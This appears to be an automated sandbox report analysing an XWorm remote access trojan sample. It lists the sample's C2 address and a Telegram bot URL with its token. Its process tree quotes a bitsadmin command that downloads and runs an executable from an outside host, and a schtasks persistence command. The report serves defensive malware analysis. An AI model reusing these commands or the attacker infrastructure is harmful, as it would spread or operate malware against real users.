Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 03:17

General

  • Target
    2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
  • Size 255KB
  • Sample260814-dtdzcstdqe
  • SHA256 2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • XWorm V6.0 | @PakReverseLab

C2
  • 45.141.27.211:6000

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

  • localhost

    127.0.0.1

  • telegram

    https://api.telegram.org/bot8159101507:AAFU4ETqWUQIfaeNTGeEPX0kxelidWwGTpc/sendMessage?chat_id=8539272145

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
    "C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\332.tmp\333.tmp\334.bat C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4692
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer "FileDownload" /download /priority FOREGROUND "http://slumzick.in.th/install.exe" "C:\ProgramData\slumzkck.exe"
        3⤵
        • Download via BitsAdmin
        PID:4876
      • C:\ProgramData\slumzkck.exe
        "C:\ProgramData\slumzkck.exe"
        3⤵
        • Creates a file in the Startup directory
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4840
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4420
  • C:\Users\Admin\AppData\Roaming\svchost.exe
    C:\Users\Admin\AppData\Roaming\svchost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:256
  • C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4844
  • C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2020
  • C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3872

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        334.bat

        • Path C:\Users\Admin\AppData\Local\Temp\332.tmp\333.tmp\334.bat
        • Size 602B
        • SHA256 16a56b1fa92dff89a84a6cdca79106c263cd8c83bb31f832715df000a7581bc3
        • MD5 SHA1 SHA512 TLSH

        svchost.exe

        • Path C:\Users\Admin\AppData\Roaming\svchost.exe
        • Size 66KB
        • SHA256 5f6f5b277cde1856faebe415c063e92e147f6b11bcc2d3fe2c5bdb0a8d265a3d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4840-2-0x00007FFC47B4F000-0x00007FFC47B50000-memory.dmp

        memory/4840-3-0x0000000000410000-0x0000000000426000-memory.dmp

        memory/4840-4-0x00007FFC479C0000-0x00007FFC48364000-memory.dmp

        memory/4840-9-0x00007FFC479C0000-0x00007FFC48364000-memory.dmp

        memory/4840-13-0x00007FFC479C0000-0x00007FFC48364000-memory.dmp

        memory/4840-14-0x00007FFC479C0000-0x00007FFC48364000-memory.dmp